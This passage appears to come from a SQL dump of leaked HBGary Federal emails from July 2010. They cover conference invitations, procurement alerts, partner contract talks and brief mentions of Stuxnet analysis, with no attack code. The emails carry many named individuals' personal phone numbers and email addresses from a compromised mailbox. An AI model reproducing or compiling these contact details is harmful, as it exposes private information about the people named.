BarCamp\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----------------------------------------------------------\r\n\r\n\r\nJohn Scott\r\n\r\n\r\n&nbsp;240.401.6574\r\n\r\n\r\njohnmscott@mindspring.com\r\n\r\n\r\n&lt;\r\njms3rd@gmail.com &gt;\r\n\r\n\r\nhttp://powdermonkey.blogs.com\r\n\r\n\r\ntweets @johnmscott\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3034 - Release Date: 07/29/10 02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8173,'aaron_hbgary_com/8173.html'),(9310,'2010-07-29','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297007155.M65083P14101Q4163.eml','aaron@hbgary.com','Register Now for USSTRATCOM Space Symposium, November 2-3','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		  \r\n	\r\n		\r\n          2010 USSTRATCOM Space Symposium\r\n          \"Conducting Military Space Operations - Advancing from Today to Tomorrow\"\r\n          November 2-3, 2010 \r\n          Qwest Center Omaha, Omaha, NE \r\n          Co-sponsored by AFCEA International and the U.S. Strategic Command \r\n          Online registration for the 2010 USSTRATCOM Space Symposium is now available! Click here to register.\r\n          \r\n          The USSTRATCOM Space Symposium offers space and defense professionals an unparalleled opportunity for education, interactive discussion and exposure to the latest space operations technologies. Co-sponsored by the United States Strategic Command and AFCEA International, the event is expected to attract more than 1,000 government officials, military leaders, top industry executives, exhibitors, educators and students.\r\n          Topics Include:\r\n          \r\n            USSTRATCOM Perspective\r\n            Space Situational Awareness: Debris Management and Mitigation Strategies\r\n            Delivering Assured Combat Power to the Joint Fight\r\n            Space Acquisition: Delivering On-time Capability to the Fight &nbsp;\r\n            Wargames and Modeling &amp; Simulation Enhancements \r\n            ESA Current/Future Ops &amp; Collaboration Efforts \r\n            Opportunities to Expand International Collaboration &ndash; Moving Forward Together in Partnership\r\n            Leaders in Industry - Building Robust Commercial Space Industries\r\n            International Cooperation: Furthering U.S. National Space Policy and Goals\r\n                \r\n                 \r\n                    \r\nExhibition\r\nDefense contractors and government agencies will showcase the latest products and solutions for space situational awareness, satellite communications, global information grid, and other space-related challenges. \r\n          &nbsp;\r\n          For more information on the conference and to register - please visit http://www.afcea.org/events/spacesymposium\r\n                \r\n                        \r\n      \r\n              Exhibit Information - please contact J. Spargo & Associates\r\n              \r\n      \r\n              Patron/Sponsor Information - please contact Gina McGovern\r\n\r\nProgram Information - please contact Terry Rogers \r\n\r\n        \r\n              We look forward to seeing you in Omaha!\r\n          \r\n          Connect with Us!\r\n          Facebook\r\n          Twitter: #stratspace10  \r\n          \r\n            \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	  \r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',9465,'aaron_hbgary_com/9465.html'),(9311,'2010-07-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007155.M798717P14101Q4166.eml','gabe@usd.edu','Email so u remember','\r\n\r\nSent from my iPhone\r\n',1441,'aaron_hbgary_com/1441.html'),(9312,'2010-07-30','\"Lawrence, Gabriel\" <glawrence@ucsd.edu>','/aaron@hbgary.com/new/1297007156.M227188P14101Q4168.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office: Ping','I will be out of the office from 7/29/2010 to 8/1/2010 and will be infrequently checking my email.\r\n\r\nIn the event of an emergency involving critical infrastructure please contact the ACT helpdesk for emergency support.\r\n\r\nSecurity related questions can be directed to security at ucsd.edu.\r\n\r\nThanks so much.\r\n\r\nGabe\r\n\r\n',8002,'aaron_hbgary_com/8002.html'),(9313,'2010-07-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007156.M25001P14101Q4167.eml','gabe@ucsd.edu','Ping','\r\n\r\nSent from my iPhone\r\n',2804,'aaron_hbgary_com/2804.html'),(9314,'2010-07-30','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297007156.M432374P14101Q4169.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Blackhat','Aaron,\r\n\r\nWith everything going on here, it made better sense for me to stay here\r\nthis week, much as I wanted to be part of the action out west.\r\n\r\nNothing about our direction or plans has changed with Larry\'s\r\ndeparture...and I would certainly like to continue the discussions also.\r\n\r\nThe reunion was great. 4 guys who used to spend every minute together\r\neither playing music or wasting time in other ways still have many of\r\nthe same interests.\r\n\r\nTiffanny, Bob, and John T are @ Defcon if you are still there.\r\n\r\nThanks,  Bill\r\n\r\nBill Varner\r\nPresident\r\nMission, Cyber & Technology Solutions Group\r\nManTech International Corporation\r\nOffice: (703) 674-2778 l Mobile: (703) 475-7909\r\nEmail: Bill.Varner@Mantech.com \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 28, 2010 7:14 PM\r\nTo: Varner, Bill\r\nSubject: Blackhat\r\n\r\nHi Bill,\r\n\r\nAre you in Las Vegas?  How did your reunion go?\r\n\r\nInterested in continuing our conversation.  Not sure what has changed\r\nwith Larry gone.\r\n\r\nBtw, our talk at blackhat on attribution went phenomenally well.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n',15710,'aaron_hbgary_com/15710.html'),(9315,'2010-07-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007156.M952565P14101Q4170.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Slapnik Bob\" <bob@hbgary.com>','Fwd: Vendor Procurement Search Results','Begin forwarded message:From: noreply@fbo.gov\r\nDate: July 30, 2010 3:35:15 AM MDTTo: ted@hbgary.comSubject: Vendor Procurement Search Results\r\nFriday, July 30, 2010, 05:29 amDear Ted:Your FBO Opportunity Search Agent called: &#39;Incident Response&#39; has identified the following opportunities that have either been newly posted or modified and match your search criteria.\r\n    Title:                 UNITED STATED COAST GUARD COMMAND, CONTROL COMMUNICATION, COMPUTER INFORMATION SERVICE CENTER (CG-C4IT SC), TELECOMMUNICATIONS INFORMATION SYSTEMS COMMAND (TISCOM) FOR INFORMATION TECHNOLOGY SECURITY MANAGEMENT SERVICES\r\n    Sol. #:                HSCG79-10-R-123456    Agency:                Department of Homeland Security    Office:                United States Coast Guard (USCG)    Location:              Commandant (CG-912), U.S. Coast Guard Headquarters\r\n    Posted On:             Jul 29, 2010 6:37 pm    Base Type:             Presolicitation    Link:                  https://www.fbo.gov/spg/DHS/USCG/GACS/HSCG79-10-R-123456/listing.html\r\n    -------------------------------------------------------    Title:                 Computer Incident Response and Security Services    Sol. #:                CC10HQR0053\r\n    Agency:                Department of the Treasury    Office:                Comptroller of the Currency (OCC)    Location:              Acquisition Management (AQM)    Posted On:             Jul 29, 2010 6:16 pm\r\n    Base Type:             Combined Synopsis/Solicitation    Link:                  https://www.fbo.gov/spg/TREAS/OCC/ASDMS413/CC10HQR0053/listing.html\r\n    -------------------------------------------------------\r\n',3334,'aaron_hbgary_com/3334.html'),(9316,'2010-07-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007157.M211364P14101Q4171.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: Vendor Procurement Search Results','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\n\r\n&nbsp;\r\n\r\nSee below for 2 gov&#8217;t civilian opportunities.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, July 30, 2010 10:14 AM\r\nTo: Barr Aaron; Mark Trynor; Slapnik Bob\r\nSubject: Fwd: Vendor Procurement Search Results\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: noreply@fbo.gov\r\nDate: July 30, 2010 3:35:15 AM MDT\r\nTo: ted@hbgary.com\r\nSubject: Vendor Procurement Search Results\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFriday, July 30, 2010, 05:29 am\r\n\r\nDear Ted:\r\n\r\nYour FBO Opportunity Search Agent called: \'Incident Response\' has identified\r\nthe following opportunities that have either been newly posted or modified and\r\nmatch your search criteria.\r\n\r\n&nbsp; &nbsp;Title:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;\r\n&nbsp;UNITED STATED COAST GUARD COMMAND, CONTROL COMMUNICATION, COMPUTER\r\nINFORMATION SERVICE CENTER (CG-C4IT SC), TELECOMMUNICATIONS INFORMATION SYSTEMS\r\nCOMMAND (TISCOM) FOR INFORMATION TECHNOLOGY SECURITY MANAGEMENT SERVICES\r\n&nbsp; &nbsp;Sol. #:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;\r\n&nbsp;HSCG79-10-R-123456\r\n&nbsp; &nbsp;Agency:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;\r\n&nbsp;Department of Homeland Security\r\n&nbsp; &nbsp;Office:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;\r\n&nbsp;United States Coast Guard (USCG)\r\n&nbsp; &nbsp;Location: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp; &nbsp;Commandant (CG-912), U.S. Coast Guard Headquarters\r\n&nbsp; &nbsp;Posted On: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;\r\n&nbsp;Jul 29, 2010 6:37 pm\r\n&nbsp; &nbsp;Base Type: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;\r\n&nbsp;Presolicitation\r\n&nbsp; &nbsp;Link:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp; &nbsp;https://www.fbo.gov/spg/DHS/USCG/GACS/HSCG79-10-R-123456/listing.html\r\n\r\n&nbsp; &nbsp;-------------------------------------------------------\r\n\r\n&nbsp; &nbsp;Title:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;\r\n&nbsp;Computer Incident Response and Security Services\r\n&nbsp; &nbsp;Sol. #:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;\r\n&nbsp;CC10HQR0053\r\n&nbsp; &nbsp;Agency:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;\r\n&nbsp;Department of the Treasury\r\n&nbsp; &nbsp;Office:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;\r\n&nbsp;Comptroller of the Currency (OCC)\r\n&nbsp; &nbsp;Location: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp; &nbsp;Acquisition Management (AQM)\r\n&nbsp; &nbsp;Posted On: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;\r\n&nbsp;Jul 29, 2010 6:16 pm\r\n&nbsp; &nbsp;Base Type: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;\r\n&nbsp;Combined Synopsis/Solicitation\r\n&nbsp; &nbsp;Link:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp; &nbsp;https://www.fbo.gov/spg/TREAS/OCC/ASDMS413/CC10HQR0053/listing.html\r\n\r\n&nbsp; &nbsp;-------------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3034 - Release Date: 07/30/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4611,'aaron_hbgary_com/4611.html'),(9317,'2010-07-30','\"John Scott\" <johnmscott@mindspring.com>','/aaron@hbgary.com/new/1297007158.M950205P14101Q4172.eml','\"Josh Davis\" <Joshua.Davis@gtri.gatech.edu>,\"Aaron Barr\" <aaron@hbgary.com>,\"Josh Davis\" <Joshua.Davis@gtri.gatech.edu>','Re: Free Tools | HBGary','Hi Aaron,&nbsp;let us know ASAPwe have 1-2 slots leftjs\r\n-----------------------------------------------------------John Scott&nbsp;240.401.6574johnmscott@mindspring.com&lt; jms3rd@gmail.com &gt;http://powdermonkey.blogs.comtweets @johnmscott\r\n\r\nOn Jul 29, 2010, at 11:25 PM, &lt;Joshua.Davis@gtri.gatech.edu&gt; &lt;Joshua.Davis@gtri.gatech.edu&gt; wrote:We still have room...&nbsp;====================================================&nbsp;&nbsp;&nbsp;Joshua L. Davis, Research Scientist II&nbsp;&nbsp;Associate Branch Head, Information Operations Branch&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Electronic Systems Laboratory&nbsp;&nbsp;Georgia Tech Research Institute&nbsp;&nbsp;&nbsp;Atlanta, GA 30332&nbsp;&nbsp;&nbsp;W/M: 678.831.0182From:&nbsp;Bob Slapnik [bob@hbgary.com]Sent:&nbsp;Thursday, July 29, 2010 01:37 PMTo:&nbsp;\'John Scott\'; \'Aaron Barr\'Cc:&nbsp;Davis, Joshua L.Subject:&nbsp;RE: Free Tools | HBGaryJohn,&nbsp;I’ve copied Aaron Barr, CEO of HBGary Federal.&nbsp; He may wish to speak.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;John Scott [mailto:johnmscott@mindspring.com]&nbsp;Sent:&nbsp;Thursday, July 29, 2010 1:28 PMTo:&nbsp;bob@hbgary.comCc:&nbsp;Josh DavisSubject:&nbsp;Free Tools | HBGaryImportance:&nbsp;High&nbsp;https://www.hbgary.com/community/free-tools/&nbsp;Hi Bob,&nbsp;&nbsp;I saw this article, we are having an military open source software meeting next week in DC. interested in coming to speak?Alos what OSS license do you use?js&nbsp;http://gcn.com/articles/2010/07/28/digital-fingerprinting.aspx&nbsp;&nbsp;Conf:http://www.mil-oss.org/&nbsp;&lt;image001.jpg&gt;MILITARY OPEN SOURCE SOFTWARE (Mil-OSS)&nbsp;Mil-OSS has been established to connect and empower an active community of civilian and military open source software and hardware developers across the U.S.This grassroots movement is a collection of the geeky, coffee drinking, sandal wearing patriots that work for the U.S. DoD and believe that we must adopt open technology innovation philosophies to effectively defend this nation.Join us at our second working group (WG2) in D.C. 2-5 August 2010 to discuss life, liberty, and the pursuit of open source.&lt;image001.jpg&gt;WHERE &amp; WHENLocation:&nbsp;Washington, D.C. @ the&nbsp;Waterview Conference CenterDriving and Public Transportation DirectionsLodging:&nbsp;Hotel Palomar Arlington&nbsp;, 1121 19th Street North.This hotel is connected to the Waterview Conference Center. We have a special government rate of $170.00 plus taxes. Call and ask for reservations and the group code is Mil-OSS.Dates and Agenda:Aug 2 - Meetup @ ContinentalAug 3 - Talks/Ignite LunchAug 4 - Talks/BarCampAug 5 - BarCamp&nbsp;-----------------------------------------------------------John Scott&nbsp;240.401.6574johnmscott@mindspring.com&lt;&nbsp;jms3rd@gmail.com&nbsp;&gt;http://powdermonkey.blogs.comtweets @johnmscott&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3034 - Release Date: 07/29/10 02:34:00',7375,'aaron_hbgary_com/7375.html'),(9318,'2010-07-30','aaron@hbgary.com','/aaron@hbgary.com/new/1297007159.M312985P14101Q4173.eml','cdpeace@nsa.gov','Stuxnet','Hi Cheryl,\r\n\r\nWe met on Wednesday night at Caesars.  When convenient I would like to come in and talk a little about what we are doing at HBGary.  Also we have been analyzing the stuxnet malware and were thinking of co-publishing a report with Mcafee but would like to ask you a few questions first.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal\r\n719.510.8478\r\n\r\nSent from my iPad',584,'aaron_hbgary_com/584.html'),(9319,'2010-07-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007159.M566157P14101Q4174.eml','\"Barr Aaron\" <aaron@hbgary.com>','Bank of the West','Aaron,\r\n\r\nI don\'t really have a relationship with the EndGames folks, other than\r\nthe techies.  Maria said that Bank of the West is interested in this\r\nas a recurring service.  Can we schedule a call today with EndGames to\r\ntalk about pricing?\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15855,'aaron_hbgary_com/15855.html'),(9320,'2010-07-30','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007159.M950239P14101Q4175.eml','\"John Scott\" <johnmscott@mindspring.com>,\"John Scott\" <johnmscott@mindspring.com>,','Re: Free Tools | HBGary','Hi John,I dont think i would be able to do it next week. &nbsp;Nothing really prepared. &nbsp;We offer free tools to help better the community in memory forensics and threat intelligence. &nbsp;Threat intelligence specifically is not something that can be owned by an individual company. &nbsp;We are working to develop a consortium related to threat intelligence. &nbsp;So maybe this is something we can participate in the future.Thank you for thinking of us.Aaron &nbsp;Sent from my iPadOn Jul 30, 2010, at 7:48 AM, John Scott &lt;johnmscott@mindspring.com&gt; wrote:Hi Aaron,&nbsp;let us know ASAPwe have 1-2 slots leftjs\r\n-----------------------------------------------------------John Scott&nbsp;240.401.6574johnmscott@mindspring.com&lt; jms3rd@gmail.com &gt;http://powdermonkey.blogs.comtweets @johnmscott\r\n\r\nOn Jul 29, 2010, at 11:25 PM, &lt;Joshua.Davis@gtri.gatech.edu&gt; &lt;Joshua.Davis@gtri.gatech.edu&gt; wrote:We still have room...&nbsp;====================================================&nbsp;&nbsp;&nbsp;Joshua L. Davis, Research Scientist II&nbsp;&nbsp;Associate Branch Head, Information Operations Branch&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Electronic Systems Laboratory&nbsp;&nbsp;Georgia Tech Research Institute&nbsp;&nbsp;&nbsp;Atlanta, GA 30332&nbsp;&nbsp;&nbsp;W/M: 678.831.0182From:&nbsp;Bob Slapnik [bob@hbgary.com]Sent:&nbsp;Thursday, July 29, 2010 01:37 PMTo:&nbsp;\'John Scott\'; \'Aaron Barr\'Cc:&nbsp;Davis, Joshua L.Subject:&nbsp;RE: Free Tools | HBGaryJohn,&nbsp;I’ve copied Aaron Barr, CEO of HBGary Federal.&nbsp; He may wish to speak.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;John Scott [mailto:johnmscott@mindspring.com]&nbsp;Sent:&nbsp;Thursday, July 29, 2010 1:28 PMTo:&nbsp;bob@hbgary.comCc:&nbsp;Josh DavisSubject:&nbsp;Free Tools | HBGaryImportance:&nbsp;High&nbsp;https://www.hbgary.com/community/free-tools/&nbsp;Hi Bob,&nbsp;&nbsp;I saw this article, we are having an military open source software meeting next week in DC. interested in coming to speak?Alos what OSS license do you use?js&nbsp;http://gcn.com/articles/2010/07/28/digital-fingerprinting.aspx&nbsp;&nbsp;Conf:http://www.mil-oss.org/&nbsp;&lt;image001.jpg&gt;MILITARY OPEN SOURCE SOFTWARE (Mil-OSS)&nbsp;Mil-OSS has been established to connect and empower an active community of civilian and military open source software and hardware developers across the U.S.This grassroots movement is a collection of the geeky, coffee drinking, sandal wearing patriots that work for the U.S. DoD and believe that we must adopt open technology innovation philosophies to effectively defend this nation.Join us at our second working group (WG2) in D.C. 2-5 August 2010 to discuss life, liberty, and the pursuit of open source.&lt;image001.jpg&gt;WHERE &amp; WHENLocation:&nbsp;Washington, D.C. @ the&nbsp;Waterview Conference CenterDriving and Public Transportation DirectionsLodging:&nbsp;Hotel Palomar Arlington&nbsp;, 1121 19th Street North.This hotel is connected to the Waterview Conference Center. We have a special government rate of $170.00 plus taxes. Call and ask for reservations and the group code is Mil-OSS.Dates and Agenda:Aug 2 - Meetup @ ContinentalAug 3 - Talks/Ignite LunchAug 4 - Talks/BarCampAug 5 - BarCamp&nbsp;-----------------------------------------------------------John Scott&nbsp;240.401.6574johnmscott@mindspring.com&lt;&nbsp;jms3rd@gmail.com&nbsp;&gt;http://powdermonkey.blogs.comtweets @johnmscott&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3034 - Release Date: 07/29/10 02:34:00',2455,'aaron_hbgary_com/2455.html'),(9321,'2010-07-30','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297007160.M385338P14101Q4176.eml','\"Aaron Barr\" <aaron@hbgary.com>','Checking in','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nJust checking to see if you\r\nare back from vacation and I trust it was a relaxing one.\r\n\r\n&nbsp;\r\n\r\nIf so, please give me a ring\r\nwhen able as there&#8217;s been some movement on the TSA contract that I need\r\nto fill you in on and we need to finalize our teaming agreement.\r\n\r\n&nbsp;\r\n\r\nI also wanted to chat about\r\nFidelis and Palantir as well.\r\n\r\n&nbsp;\r\n\r\nNeedless to say we are\r\nconfident we can put together a best of breed team and be quite competitive on\r\nthis contract.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nBill\r\n\r\n&nbsp;\r\n\r\n(240)383-1439 office\r\n\r\n(703)395-7401 cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n',676,'aaron_hbgary_com/676.html'),(9322,'2010-07-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007160.M635600P14101Q4177.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Stuxnet','See this article:\r\n\r\nhttp://www.symantec.com/connect/blogs/hackers-behind-stuxnet\r\n\r\nThey did some analysis and speculation about Stuxnet, and also found\r\nthe linkage to guava.\r\n\r\n\"The project string “b:\\myrtus\\src\\objfre_w2k_x86\\i386\\guava.pdb”\r\nappears in one of their drivers. Guava belongs to the myrtus plant\r\nfamily.  Why guava or myrtus?  Let the speculation begin.\"\r\n\r\nMark points out that Guava is low hanging fruit -- grows on a shrub.\r\n\r\nTed\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',6085,'aaron_hbgary_com/6085.html'),(9323,'2010-07-30','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007160.M849098P14101Q4178.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Bank of the West','Let me check\r\n\r\nSent from my iPad\r\n\r\nOn Jul 30, 2010, at 8:30 AM, Ted Vera  wrote:\r\n\r\n> Aaron,\r\n> \r\n> I don\'t really have a relationship with the EndGames folks, other than\r\n> the techies.  Maria said that Bank of the West is interested in this\r\n> as a recurring service.  Can we schedule a call today with EndGames to\r\n> talk about pricing?\r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n',4145,'aaron_hbgary_com/4145.html'),(9324,'2010-07-30','\"John Scott\" <johnmscott@mindspring.com>','/aaron@hbgary.com/new/1297007161.M190562P14101Q4179.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Aaron barr\" <aaron@hbgary.com>,','Re: Free Tools | HBGary','let us (mil_oss) know how we can help!maybe next year?js\r\n-----------------------------------------------------------John Scott&nbsp;240.401.6574johnmscott@mindspring.com&lt; jms3rd@gmail.com &gt;http://powdermonkey.blogs.comtweets @johnmscott\r\n\r\nOn Jul 30, 2010, at 11:41 AM, Aaron barr wrote:Hi John,I dont think i would be able to do it next week. &nbsp;Nothing really prepared. &nbsp;We offer free tools to help better the community in memory forensics and threat intelligence. &nbsp;Threat intelligence specifically is not something that can be owned by an individual company. &nbsp;We are working to develop a consortium related to threat intelligence. &nbsp;So maybe this is something we can participate in the future.Thank you for thinking of us.Aaron &nbsp;Sent from my iPadOn Jul 30, 2010, at 7:48 AM, John Scott &lt;johnmscott@mindspring.com&gt; wrote:Hi Aaron,&nbsp;let us know ASAPwe have 1-2 slots leftjs\r\n-----------------------------------------------------------John Scott&nbsp;240.401.6574johnmscott@mindspring.com&lt; jms3rd@gmail.com &gt;http://powdermonkey.blogs.comtweets @johnmscott\r\n\r\nOn Jul 29, 2010, at 11:25 PM, &lt;Joshua.Davis@gtri.gatech.edu&gt; &lt;Joshua.Davis@gtri.gatech.edu&gt; wrote:We still have room...&nbsp;====================================================&nbsp;&nbsp;&nbsp;Joshua L. Davis, Research Scientist II&nbsp;&nbsp;Associate Branch Head, Information Operations Branch&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Electronic Systems Laboratory&nbsp;&nbsp;Georgia Tech Research Institute&nbsp;&nbsp;&nbsp;Atlanta, GA 30332&nbsp;&nbsp;&nbsp;W/M: 678.831.0182From:&nbsp;Bob Slapnik [bob@hbgary.com]Sent:&nbsp;Thursday, July 29, 2010 01:37 PMTo:&nbsp;\'John Scott\'; \'Aaron Barr\'Cc:&nbsp;Davis, Joshua L.Subject:&nbsp;RE: Free Tools | HBGaryJohn,&nbsp;I’ve copied Aaron Barr, CEO of HBGary Federal.&nbsp; He may wish to speak.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;John Scott [mailto:johnmscott@mindspring.com]&nbsp;Sent:&nbsp;Thursday, July 29, 2010 1:28 PMTo:&nbsp;bob@hbgary.comCc:&nbsp;Josh DavisSubject:&nbsp;Free Tools | HBGaryImportance:&nbsp;High&nbsp;https://www.hbgary.com/community/free-tools/&nbsp;Hi Bob,&nbsp;&nbsp;I saw this article, we are having an military open source software meeting next week in DC. interested in coming to speak?Alos what OSS license do you use?js&nbsp;http://gcn.com/articles/2010/07/28/digital-fingerprinting.aspx&nbsp;&nbsp;Conf:http://www.mil-oss.org/&nbsp;&lt;image001.jpg&gt;MILITARY OPEN SOURCE SOFTWARE (Mil-OSS)&nbsp;Mil-OSS has been established to connect and empower an active community of civilian and military open source software and hardware developers across the U.S.This grassroots movement is a collection of the geeky, coffee drinking, sandal wearing patriots that work for the U.S. DoD and believe that we must adopt open technology innovation philosophies to effectively defend this nation.Join us at our second working group (WG2) in D.C. 2-5 August 2010 to discuss life, liberty, and the pursuit of open source.&lt;image001.jpg&gt;WHERE &amp; WHENLocation:&nbsp;Washington, D.C. @ the&nbsp;Waterview Conference CenterDriving and Public Transportation DirectionsLodging:&nbsp;Hotel Palomar Arlington&nbsp;, 1121 19th Street North.This hotel is connected to the Waterview Conference Center. We have a special government rate of $170.00 plus taxes. Call and ask for reservations and the group code is Mil-OSS.Dates and Agenda:Aug 2 - Meetup @ ContinentalAug 3 - Talks/Ignite LunchAug 4 - Talks/BarCampAug 5 - BarCamp&nbsp;-----------------------------------------------------------John Scott&nbsp;240.401.6574johnmscott@mindspring.com&lt;&nbsp;jms3rd@gmail.com&nbsp;&gt;http://powdermonkey.blogs.comtweets @johnmscott&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3034 - Release 